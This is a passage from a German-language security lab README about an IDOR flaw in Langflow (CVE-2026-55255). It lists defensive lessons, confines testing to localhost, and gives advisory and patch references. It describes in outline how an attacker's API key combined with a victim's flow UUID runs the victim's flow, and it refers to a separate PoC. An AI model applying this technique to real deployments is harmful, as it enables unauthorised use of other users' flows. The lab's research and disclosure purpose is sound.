Sicherheitstechnische Lektionen:

* Verlassen Sie sich nicht auf die Geheimhaltung von Objekt-UUIDs als Autorisierungskontrolle.
* Begrenzen Sie die Objektsuche auf den authentifizierten Principal.
* Erzwingen Sie Besitzprüfungen, bevor Sie aufgelöste Objekte verwenden.
* Vermeiden Sie die direkte Verwendung generischer Resolver-Helper als Routenabhängigkeiten, wenn diese einen authentifizierten Kontext erfordern.
* Behandeln Sie Nicht-Gefunden-Antworten sorgfältig, um die Offenlegung der Objektexistenz zu vermeiden.
* Fügen Sie Regressionstests für den Objektzugriff über Benutzergrenzen hinzu.

## Sicherheitsgrenzen

Dieses Labor dient nur der lokalen Sicherheitsforschung und kontrollierten Demonstration.

Führen Sie den PoC oder manuelle curl-Anfragen nicht gegen Systeme aus, die Sie nicht besitzen oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.

Verwenden Sie keine echten Produktionsanmeldeinformationen, Kundendaten, Zahlungsdaten, API-Keys, LLM-Anbieter-Keys, Datenbankanmeldeinformationen oder Produktionsgeheimnisse in diesem Labor.

Der beabsichtigte Umfang ist auf lokale Docker-Dienste wie folgt beschränkt:```text
http://localhost:7860
http://localhost:7861
http://127.0.0.1:7860
http://127.0.0.1:7861
```
Der PoC ist bewusst request-basiert. Er ruft kein Docker, Docker Compose, Shell-Befehle, WP-CLI oder Container-APIs auf.

Das Labor enthält keine Payloads für:

* Flow-UUID-Brute-Forcing,
* Benutzeraufzählung,
* Anmeldedaten-Diebstahl,
* Datenbank-Dumping,
* LLM-Provider-Schlüsselmissbrauch,
* beliebige Befehlsausführung,
* Malware,
* Persistenz,
* Lateral Movement,
* Zugriff auf Kundendaten,
* oder externe Callbacks.

Das Ziel ist es, einen bestimmten technischen Zustand in einer kontrollierten Umgebung zu demonstrieren:```text
HTTP request
+ attacker-owned API key
+ victim-owned flow UUID
+ vulnerable target executes victim-owned flow
+ patched target returns flow_not_found
```
## Referenzen

* CVE-Eintrag: CVE-2026-55255
  https://www.cve.org/CVERecord?id=CVE-2026-55255

* GitHub Advisory: GHSA-qrpv-q767-xqq2
  https://github.com/advisories/GHSA-qrpv-q767-xqq2

* GitLab Advisory: CVE-2026-55255
  https://advisories.gitlab.com/pypi/langflow/CVE-2026-55255/

* Langflow Pull Request: fix(security): Schließt IDOR in get_flow_by_id_or_endpoint_name (LE-639) #12832
  https://github.com/langflow-ai/langflow/pull/12832

* Langflow OpenAI Responses API-Dokumentation
  https://docs.langflow.org/api-openai-responses

* Langflow API-Schlüssel- und Authentifizierungsdokumentation
  https://docs.langflow.org/api-keys-and-authentication

* Langflow API-Referenzbeispiele
  https://docs.langflow.org/api-reference-api-examples

* Langflow GitHub-Repository
  https://github.com/langflow-ai/langflow

* Langflow Docker-Image
  https://hub.docker.com/r/langflowai/langflow

* Tenable Plugin-Hinweis für GHSA-qrpv-q767-xqq2
  https://www.tenable.com/plugins/container-security/443659

* Mondoo Vulnerability Intelligence: CVE-2026-55255
  https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-55255
Tool herunterladen